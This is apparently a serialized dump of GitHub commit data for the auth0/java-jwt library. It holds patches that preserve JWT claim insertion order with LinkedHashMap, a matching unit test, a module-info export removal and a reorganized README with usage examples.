deletionsKufiles](}(jo  (0b0d21e4288b4b0a00ccec47c43974a7f915d1f3filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj	p  Kj
p  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcpatchX  @@ -71,8 +71,8 @@ public static class Builder {
         private final Map<String, Object> headerClaims;
 
         Builder() {
-            this.payloadClaims = new HashMap<>();
-            this.headerClaims = new HashMap<>();
+            this.payloadClaims = new LinkedHashMap<>();
+            this.headerClaims = new LinkedHashMap<>();
         }
 
         /**
@@ -112,7 +112,7 @@ public Builder withHeader(String headerClaimsJson) throws IllegalArgumentExcepti
             }
 
             try {
-                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, LinkedHashMap.class);
                 return withHeader(headerClaims);
             } catch (JsonProcessingException e) {
                 throw new IllegalArgumentException("Invalid header JSON", e);
@@ -508,7 +508,7 @@ public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentExcep
             }
 
             try {
-                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, LinkedHashMap.class);
                 return withPayload(payloadClaims);
             } catch (JsonProcessingException e) {
                 throw new IllegalArgumentException("Invalid payload JSON", e);u}(jo  (53cd267b6a5761920caba81336978054fba11dccjp  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajp  modifiedj	p  K0j
p  Kjp  K1jp  https://github.com/auth0/java-jwt/blob/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajp  https://github.com/auth0/java-jwt/raw/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajp  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcjp  Xf  @@ -3,8 +3,8 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
-import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -1010,4 +1010,51 @@ public void shouldCreatePayloadWithNullForList() {
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());
     }
+
+    @Test
+    public void shouldPreserveInsertionOrder() throws Exception {
+        String taxonomyJson = "{\"class\": \"mammalia\", \"order\": \"carnivora\", \"family\": \"canidae\", \"genus\": \"vulpes\"}";
+        List<String> taxonomyClaims = Arrays.asList("class", "order", "family", "genus");
+        List<String> headerInsertionOrder = new ArrayList<>(taxonomyClaims);
+        Map<String, Object> header = new LinkedHashMap<>();
+        for (int i = 0; i < 10; i++) {
+            String key = "h" + i;
+            header.put(key, "v" + 1);
+            headerInsertionOrder.add(key);
+        }
+
+        List<String> payloadInsertionOrder = new ArrayList<>(taxonomyClaims);
+        JWTCreator.Builder builder = JWTCreator.init()
+                .withHeader(taxonomyJson)
+                .withHeader(header)
+                .withPayload(taxonomyJson);
+        for (int i = 0; i < 10; i++) {
+            String name = "c" + i;
+            builder = builder.withClaim(name, "v" + i);
+            payloadInsertionOrder.add(name);
+        }
+        String signed = builder.sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        String[] parts = signed.split("\\.");
+        Base64.Decoder urlDecoder = Base64.getUrlDecoder();
+        String headerJson = new String(urlDecoder.decode(parts[0]), StandardCharsets.UTF_8);
+        String payloadJson = new String(urlDecoder.decode(parts[1]), StandardCharsets.UTF_8);
+
+        ObjectMapper objectMapper = new ObjectMapper();
+
+        List<String> headerFields = new ArrayList<>();
+        objectMapper.readValue(headerJson, ObjectNode.class)
+                .fieldNames().forEachRemaining(headerFields::add);
+        headerFields.retainAll(headerInsertionOrder);
+        assertThat("Header insertion order should be preserved",
+                headerFields, is(equalTo(headerInsertionOrder)));
+
+        List<String> payloadFields = new ArrayList<>();
+        objectMapper.readValue(payloadJson, ObjectNode.class)
+                .fieldNames().forEachRemaining(payloadFields::add);
+        payloadFields.retainAll(payloadInsertionOrder);
+        assertThat("Claim insertion order should be preserved",
+                payloadFields, is(equalTo(payloadInsertionOrder)));
+    }
 }ueu(2d0f7bc7801f2b7e3118663fe5a43eb9b557f074}(sha(2d0f7bc7801f2b7e3118663fe5a43eb9b557f074node_idEC_kwDOAQtL0doAKDJkMGY3YmM3ODAxZjJiN2UzMTE4NjYzZmU1YTQzZWI5YjU1N2YwNzQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-19T17:49:13Zu	committer}(j.p  GitHubj0p  noreply@github.comj2p  2022-04-19T17:49:13ZumessageLMerge pull request #571 from auth0/improve-readme

Improved README structuretree}(j&p  (c6f45fad4443d06b5762994173194b15b54679c4url^https://api.github.com/repos/auth0/java-jwt/git/trees/c6f45fad4443d06b5762994173194b15b54679c4uj>p  `https://api.github.com/repos/auth0/java-jwt/git/commits/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiXvYZCRBK7hj4Ov3rIwAAZsQIADbFMYwC/mvW15wQXuIETKox
HrFt3lH2Rd8nfwbbrugEXvZ5bxR2PzV1D7FB13RVg0j5JLnIioS6lwyKCShcJAMK
gld2UZ7UVK4tB4TSw59CMVYHausvDF3p8r9w8NNHWPvF/y7Si/84D4SFbSzSxv7e
8kXSZMYpDum5bbaVKxX1WT7S2pKePJB26YfGXwN3Tp7Y+fNy5dYiwuskQ8t/Y4/E
eFvFI0yJ/U27gQaEybazsESAJ33tE+6o6G2vEd/7H/AuZFSOXj8OgO09opW3qE/0
NgBIIzpp0AVpsQtaRFPcUjS/eCmbe+ijO1CnG4WeGtv9KdsIxqsF4suqPLf7yVI=
=LIxD
-----END PGP SIGNATURE-----
payloadXN  tree c6f45fad4443d06b5762994173194b15b54679c4
parent 8131361c0a24413aa57499b307d233294b83b3ed
parent c1942944b3b906d749128279808ad86cd24b8b9f
author Poovamraj T T <poovamraj@gmail.com> 1650390553 +0530
committer GitHub <noreply@github.com> 1650390553 +0530

Merge pull request #571 from auth0/improve-readme

Improved README structureuuj>p  \https://api.github.com/repos/auth0/java-jwt/commits/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074html_urlQhttps://github.com/auth0/java-jwt/commit/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074/commentsj,p  }(login	poovamrajidJ j(p  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j>p  &https://api.github.com/users/poovamrajjLp  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj4p  }(jQp  web-flowjSp  J/j(p  MDQ6VXNlcjE5ODY0NDQ3jUp  4https://avatars.githubusercontent.com/u/19864447?v=4jWp  h3j>p  %https://api.github.com/users/web-flowjLp  https://github.com/web-flowjZp  /https://api.github.com/users/web-flow/followersj\p  <https://api.github.com/users/web-flow/following{/other_user}j^p  5https://api.github.com/users/web-flow/gists{/gist_id}j`p  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jbp  3https://api.github.com/users/web-flow/subscriptionsjdp  *https://api.github.com/users/web-flow/orgsjfp  +https://api.github.com/users/web-flow/reposjhp  6https://api.github.com/users/web-flow/events{/privacy}jjp  5https://api.github.com/users/web-flow/received_eventsjlp  Userjnp  uparents](}(j&p  (8131361c0a24413aa57499b307d233294b83b3edj>p  \https://api.github.com/repos/auth0/java-jwt/commits/8131361c0a24413aa57499b307d233294b83b3edjLp  Qhttps://github.com/auth0/java-jwt/commit/8131361c0a24413aa57499b307d233294b83b3edu}(j&p  (c1942944b3b906d749128279808ad86cd24b8b9fj>p  \https://api.github.com/repos/auth0/java-jwt/commits/c1942944b3b906d749128279808ad86cd24b8b9fjLp  Qhttps://github.com/auth0/java-jwt/commit/c1942944b3b906d749128279808ad86cd24b8b9fuestats}(totalKɌ	additionsKn	deletionsK[ufiles]}(j&p  (065899f1726a2871c8343db746f7730f01dd3f78filename	README.mdstatusmodifiedjp  Knjp  K[changesKɌblob_urlYhttps://github.com/auth0/java-jwt/blob/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=2d0f7bc7801f2b7e3118663fe5a43eb9b557f074patchX4  @@ -13,10 +13,29 @@ If you're looking for an **Android** version of the JWT Decoder take a look at o
 
 > This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
 
+## Table of Contents
+- [**Installation**](#installation)
+- [**Available Algorithms**](#available-algorithms)
+- [**Quickstart**](#quickstart)
+  + [**Create and Sign a Token**](#create-and-sign-a-token)
+  + [**Verify a Token**](#verify-a-token)
+  + [**Decode a Token**](#decode-a-token)
+- [**Usage**](#usage)
+  + [**Pick the algorithm**](#pick-the-algorithm)
+  + [**Time Validation**](#time-validation)
+  + [**Header Claims**](#header-claims)
+  + [**Payload Claims**](#payload-claims)
+  + [**Claim Class**](#claim-class)
+- [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
+
 ## Installation
 
-The library is available on both Maven Central and Bintray, and the Javadoc is published [here](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html).
- 
+### Gradle
+
+```gradle
+implementation 'com.auth0:java-jwt:3.19.0'
+```
+
 ### Maven
 
 ```xml
@@ -27,12 +46,6 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 </dependency>
 ```
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
-```
-
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:
@@ -49,73 +62,9 @@ The library implements JWT Verification and Signing using the following algorith
 | ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
 | ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
 
-⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported for Java 15+ by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
-
-## Usage
-
-### Pick the Algorithm
-
-The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
-
-When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
-
-
-#### Using static secrets or keys:
-
-```java
-//HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret");
-
-//RSA
-RSAPublicKey publicKey = //Get the key instance
-RSAPrivateKey privateKey = //Get the key instance
-Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
-```
-
-> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
-
-##### HMAC Key Length and Security
-
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
-
-#### Using a KeyProvider:
-
-By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
-
-- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
-- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
-- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
-
-
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
-
-```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
-final RSAPrivateKey privateKey = //Get the key instance
-final String privateKeyId = //Create an Id for the above key
+> Note - Support for ECDSA with curve secp256k1 and SHA-256 (ES256K) has been dropped since it has been [disabled in Java 15](https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219)
 
-RSAKeyProvider keyProvider = new RSAKeyProvider() {
-    @Override
-    public RSAPublicKey getPublicKeyById(String kid) {
-        //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
-        return (RSAPublicKey) publicKey;
-    }
-
-    @Override
-    public RSAPrivateKey getPrivateKey() {
-        return privateKey;
-    }
-
-    @Override
-    public String getPrivateKeyId() {
-        return privateKeyId;
-    }
-};
-
-Algorithm algorithm = Algorithm.RSA256(keyProvider);
-//Use the Algorithm to create and verify JWTs.
-```
+## Quickstart
 
 ### Create and Sign a Token
 
@@ -151,7 +100,6 @@ You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. U
 
 If a Claim couldn't be converted to JSON or the Key used in the signing process was invalid a `JWTCreationException` will raise.
 
-
 ### Verify a Token
 
 You'll first need to create a `JWTVerifier` instance by calling `JWT.require()` and passing the `Algorithm` instance. If you require the token to have specific Claim values, use the builder to define them. The instance returned by the method `build()` is reusable, so you can define it once and use it to verify different tokens. Finally call `verifier.verify()` passing the token.
@@ -190,8 +138,86 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+### Decode a Token
+
+```java
+String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
+try {
+    DecodedJWT jwt = JWT.decode(token);
+} catch (JWTDecodeException exception){
+    //Invalid token
+}
+```
+
+If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
+
+## Usage
+
+### Pick the Algorithm
+
+The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
+
+When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
+
+
+#### Using static secrets or keys:
+
+```java
+//HMAC
+Algorithm algorithmHS = Algorithm.HMAC256("secret");
+
+//RSA
+RSAPublicKey publicKey = //Get the key instance
+RSAPrivateKey privateKey = //Get the key instance
+Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
+```
+
+> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
+
+##### HMAC Key Length and Security
+
+When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+
+#### Using a KeyProvider:
+By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
+
+- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
+- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
+- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
+
+
+The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+
+```java
+final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final RSAPrivateKey privateKey = //Get the key instance
+final String privateKeyId = //Create an Id for the above key
+
+RSAKeyProvider keyProvider = new RSAKeyProvider() {
+    @Override
+    public RSAPublicKey getPublicKeyById(String kid) {
+        //Received 'kid' value might be null if it wasn't defined in the Token's header
+        RSAPublicKey publicKey = jwkStore.get(kid);
+        return (RSAPublicKey) publicKey;
+    }
+
+    @Override
+    public RSAPrivateKey getPrivateKey() {
+        return privateKey;
+    }
 
-#### Time Validation
+    @Override
+    public String getPrivateKeyId() {
+        return privateKeyId;
+    }
+};
+
+Algorithm algorithm = Algorithm.RSA256(keyProvider);
+//Use the Algorithm to create and verify JWTs.
+```
+
+
+### Time Validation
 
 The JWT token may include DateNumber fields that can be used to validate that:
 * The token was issued in a past date `"iat" < TODAY`
@@ -227,20 +253,6 @@ Clock clock = new CustomClock(); //Must implement Clock interface
 JWTVerifier verifier = verification.build(clock);
 ```
 
-### Decode a Token
-
-```java
-String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-try {
-    DecodedJWT jwt = JWT.decode(token);
-} catch (JWTDecodeException exception){
-    //Invalid token
-}
-```
-
-If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
-
-
 ### Header Claims
 
 #### Algorithm ("alg")
@@ -375,6 +387,7 @@ When creating a Token with the `JWT.create()` you can specify a custom Claim by
 String token = JWT.create()
         .withClaim("name", 123)
         .withArrayClaim("array", new Integer[]{1, 2, 3})
+        .withNullClaim("claim_name")
         .sign(algorithm);
 ```
 
@@ -394,6 +407,9 @@ You can also verify custom Claims on the `JWT.require()` by calling `withClaim()
 JWTVerifier verifier = JWT.require(algorithm)
     .withClaim("name", 123)
     .withArrayClaim("array", 1, 2, 3)
+    .withNullClaim("null_value") //checks if the claim name provided has null value
+    .withClaimPresence("claim_presence") //checks if the claim name provided is in the payload
+    .withClaim("predicate", (claim, decodedJWT) -> "custom_check".equals(claim.asString())) //can be used to run custom verification
     .build();
 DecodedJWT jwt = verifier.verify("my.jwt.token");
 ```
@@ -410,7 +426,10 @@ The Claim class is a wrapper for the Claim values. It allows you to get the Clai
 * **asDouble()**: Returns the Double value or null if it can't be converted.
 * **asLong()**: Returns the Long value or null if it can't be converted.
 * **asString()**: Returns the String value or null if it can't be converted.
-* **asDate()**: Returns the Date value or null if it can't be converted. This must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
+* **asInstant()**: Returns the Instant value or null if it can't be converted.
+* **asDate()**: Returns the Date value or null if it can't be converted.
+
+> For `asInstant()` and `asDate()` the value must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
 
 #### Custom Classes and Collections
 To obtain a Claim as a Collection you'll need to provide the **Class Type** of the contents to convert from.uau(f6301e101926e35fdf972f3b9f9ca8bb95fae527}(sha(f6301e101926e35fdf972f3b9f9ca8bb95fae527node_idEC_kwDOAQtL0doAKGY2MzAxZTEwMTkyNmUzNWZkZjk3MmYzYjlmOWNhOGJiOTVmYWU1Mjccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-17T16:21:58Zu	committer}(jp  GitHubjp  noreply@github.comjp  2022-03-17T16:21:58Zumessage0Remove impl package export in module-info (#553)tree}(jp  (1dca1c4da73775e5e76a902aba5793e1b07b7b25url^https://api.github.com/repos/auth0/java-jwt/git/trees/1dca1c4da73775e5e76a902aba5793e1b07b7b25ujp  `https://api.github.com/repos/auth0/java-jwt/git/commits/f6301e101926e35fdf972f3b9f9ca8bb95fae527
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiM2AmCRBK7hj4Ov3rIwAAp2QIAJ8SvQacXc12hrk4id5UuD3B
b9UaTC7KfzMg+PlDeqw/d9ZU7DlY1sBF4Fb5wlqu1fBb2S0dvuSMED6xqf2i56ec
UGGTjbnIPPseOZuGcptn0B+EZb1xOLx+DMdo1n7hV7sA43DI14PHdyvJRQjv3uxa
lnbk4PLPdRTrUl591a4dcohKKywpbnkUSmQDeLLtuiU+JbJxa9NEq61cHi9rq+Jq
jBTKnwP8GhfqGzzU4LnrcjTjIeO/W9HnIyFI/NVob28uBxKnsmL6dWBD9/crGHaD
w4xnZD9VTfgwkd4+ryIWiurr6MrXJa6OrPtYSSC5K9xRJouXXSXR8/sjYNMidok=
=55rk
-----END PGP SIGNATURE-----
payloadX  tree 1dca1c4da73775e5e76a902aba5793e1b07b7b25
parent 3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108
author Poovamraj T T <poovamraj@gmail.com> 1647534118 +0530
committer GitHub <noreply@github.com> 1647534118 +0100

Remove impl package export in module-info (#553)

uujp  \https://api.github.com/repos/auth0/java-jwt/commits/f6301e101926e35fdf972f3b9f9ca8bb95fae527html_urlQhttps://github.com/auth0/java-jwt/commit/f6301e101926e35fdf972f3b9f9ca8bb95fae527comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f6301e101926e35fdf972f3b9f9ca8bb95fae527/commentsjp  }(login	poovamrajidJ jp  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jp  &https://api.github.com/users/poovamrajjp  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujp  }(jp  web-flowjp  J/jp  MDQ6VXNlcjE5ODY0NDQ3jp  4https://avatars.githubusercontent.com/u/19864447?v=4jp  h3jp  %https://api.github.com/users/web-flowjp  https://github.com/web-flowjp  /https://api.github.com/users/web-flow/followersjp  <https://api.github.com/users/web-flow/following{/other_user}jp  5https://api.github.com/users/web-flow/gists{/gist_id}jp  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jp  3https://api.github.com/users/web-flow/subscriptionsjp  *https://api.github.com/users/web-flow/orgsjp  +https://api.github.com/users/web-flow/reposjp  6https://api.github.com/users/web-flow/events{/privacy}jp  5https://api.github.com/users/web-flow/received_eventsjp  Userjp  uparents]}(jp  (3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108jp  \https://api.github.com/repos/auth0/java-jwt/commits/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108jp  Qhttps://github.com/auth0/java-jwt/commit/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108uastats}(totalK	additionsK 	deletionsKufiles]}(jp  (a1e30e310243c236953ec7875157ce6f550a2834filename"lib/src/main/java/module-info.javastatusmodifiedjq  K jq  KchangesKblob_urlzhttps://github.com/auth0/java-jwt/blob/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javaraw_urlyhttps://github.com/auth0/java-jwt/raw/f6301e101926e35fdf972f3b9f9ca8bb95fae527/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.java?ref=f6301e101926e35fdf972f3b9f9ca8bb95fae527patchX  @@ -1,8 +1,5 @@
 module com.auth0.jwt {
-    // remove transitive in next major release
     requires com.fasterxml.jackson.databind;
-    // remove in next major release
-    exports com.auth0.jwt.impl;
 
     exports com.auth0.jwt;
     exports com.auth0.jwt.algorithms;uau(64cd536116ffa88ee70ee42bca97745227eebd5c}(sha(64cd536116ffa88ee70ee42bca97745227eebd5cnode_idEC_kwDOAQtL0doAKDY0Y2Q1MzYxMTZmZmE4OGVlNzBlZTQyYmNhOTc3NDUyMjdlZWJkNWMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-01-12T13:08:51Zu	committer}(j q  
Poovamraj T Tj"q  poovamraj@gmail.comj$q  2022-01-12T13:08:51ZumessageUpgrade jackson dependencytree}(jq  (94d5200e164f1b444c6fa825de80e80f1985e765url^https://api.github.com/repos/auth0/java-jwt/git/trees/94d5200e164f1b444c6fa825de80e80f1985e765uj0q  `https://api.github.com/repos/auth0/java-jwt/git/commits/64cd536116ffa88ee70ee42bca97745227eebd5c
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj0q  \https://api.github.com/repos/auth0/java-jwt/commits/64cd536116ffa88ee70ee42bca97745227eebd5chtml_urlQhttps://github.com/auth0/java-jwt/commit/64cd536116ffa88ee70ee42bca97745227eebd5ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/64cd536116ffa88ee70ee42bca97745227eebd5c/commentsjq  }(login	poovamrajidJ jq  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j0q  &https://api.github.com/users/poovamrajj<q  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj&q  }(jAq  	poovamrajjCq  J jq  MDQ6VXNlcjE1OTEwNDI1jEq  4https://avatars.githubusercontent.com/u/15910425?v=4jGq  h3j0q  &https://api.github.com/users/poovamrajj<q  https://github.com/poovamrajjJq  0https://api.github.com/users/poovamraj/followersjLq  =https://api.github.com/users/poovamraj/following{/other_user}jNq  6https://api.github.com/users/poovamraj/gists{/gist_id}jPq  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jRq  4https://api.github.com/users/poovamraj/subscriptionsjTq  +https://api.github.com/users/poovamraj/orgsjVq  ,https://api.github.com/users/poovamraj/reposjXq  7https://api.github.com/users/poovamraj/events{/privacy}jZq  6https://api.github.com/users/poovamraj/received_eventsj\q  Userj^q  uparents]}(jq  (f84584714ef2392b77f058feb1a23a851f9d6b84j0q  \https://api.github.com/repos/auth0/java-jwt/commits/f84584714ef2392b77f058feb1a23a851f9d6b84j<q  Qhttps://github.com/auth0/java-jwt/commit/f84584714ef2392b77f058feb1a23a851f9d6b84uastats}(totalK	additionsK	